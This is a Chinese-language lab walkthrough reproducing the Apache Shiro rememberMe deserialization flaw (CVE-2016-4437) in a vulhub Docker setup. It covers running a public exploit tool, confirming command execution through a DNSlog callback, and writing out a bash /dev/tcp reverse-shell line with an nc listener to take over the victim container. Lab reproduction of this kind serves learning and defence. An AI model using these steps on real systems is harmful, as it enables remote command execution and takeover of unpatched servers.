漏洞概述
Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化后存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。
影響范圍
Apache Shiro版本<=1.2.4
參考手冊:
- 利用鏈詳解
- 工具
漏洞復現(當對漏洞了解一定原理后,以最快的方式復現)
一.使用vulhub起shiro對應環境(搭建環境可以看我上一篇vulhub搭建步驟
(1)
(2)進入CVE-2016-4437 目錄
(3)執行 docker-compose up -d (初次運行需要加載一系列文件)
(4)docker ps 查看對應的端口
(5)輸入虛擬機的ip地址+端口
xxxx.xxx.xxx.xxx:8080
(6)https://github.com/wyzxxz/shiro_rce 下載shiro_rce工具包
(7)解壓出來后運行工具
java -jar shiro_tool.jar https://xx.xx.xx.xx
(8)工具開啟成功,執行命令
這里輸入對應的dnslog地址
dnslog也可以稱之為dns帶外查詢,是一種注入姿勢,可以通過查詢相應的dns解析記錄,來獲取我們想要的數據
這里提供一個在線生產的第三方平台
點擊get subdomain 獲取對應的地址
輸入完成后 ,enter確認命令,再點擊Refresh Record,可以看到對應的解析記錄
(9)再開一台虛擬機,用來執行反彈shell,也就是說A是我們的vulhub搭起來環境的虛擬機,B是我們控制A的虛擬機,下面XX輸入B的IP地址,8080為對應的監聽端口
但是如果A在Linux系統中 這段代碼需要base64加密,而WIN不用加密,目前我也正在研究原因是什么,知道的大佬可以下面評論幫助一下
這里提供一下base64加密的在線網址: http://www.jackson-t.ca/runtime-exec-payloads.html
輸入以下命令:bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1
base64加密后的結果為

然后再另一台虛擬機B 開啟監聽端口 8080
命令為:nc -l 8080
然后回到工具命令行:輸入加密后base64命令:
最后回到虛擬機 B 會看到以下結果:
成功拿到反彈shell
這時候輸入命令 查看受害機A的Docker容器下的文件